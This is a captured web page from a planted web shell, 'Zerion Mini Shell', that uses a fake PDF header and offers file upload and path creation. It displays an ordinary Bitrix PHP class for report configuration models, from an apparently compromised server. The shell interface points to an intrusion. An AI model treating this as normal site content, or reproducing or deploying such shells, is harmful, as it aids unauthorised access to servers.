%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/report/lib/visualconstructor/entity/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/modules/report/lib/visualconstructor/entity/configurablemodel.php

<?php

namespace Bitrix\Report\VisualConstructor\Entity;

use Bitrix\Report\VisualConstructor\BaseConfigField;
use Bitrix\Report\VisualConstructor\Fields\Valuable\BaseValuable;
use Bitrix\Report\VisualConstructor\Helper\Util;
use Bitrix\Report\VisualConstructor\Internal\Model;

/**
 * Common class for models which have configurations sub entities
 * @method addConfigurations(Configuration | Configuration[] $configuration) add configuration/configurations to this
 * @method deleteConfigurations(Configuration | Configuration[] $configuration) delete connection with Configuration, but not delete Configuration object
 * @package Bitrix\Report\VisualConstructor\Entity
 */
abstract class ConfigurableModel extends Model
{

	/** @var Configuration[] $configurations */
	protected $configurations = array();

	/**
	 * @return Configuration[]
	 */
	public function getConfigurations()
	{
		return $this->configurations;
	}

	/**
	 * Setter for Configuration colection.
	 *
	 * @param Configuration[] $configurations Configuration list.
	 * @return void
	 */
	public function setConfigurations($configurations)
	{
		$this->configurations = $configurations;
	}

	/**
	 * Build configuration entity from valuable $field and add to configurations list
	 *
	 * @param BaseValuable $field Field from create configuration.
	 * @return void
	 */
	public function addConfigurationField(BaseValuable $field)
	{
		$configuration = new Configuration();
		$configuration->setFieldClassName($field::getClassName());
		$configuration->setKey($field->getKey());
		$configuration->setGId(Util::generateUserUniqueId());
		$configuration->setValue($field->getDefaultValue());
		$configuration->setWeight(0);
		$this->addConfigurations($configuration);
	}
}

Zerion Mini Shell 1.0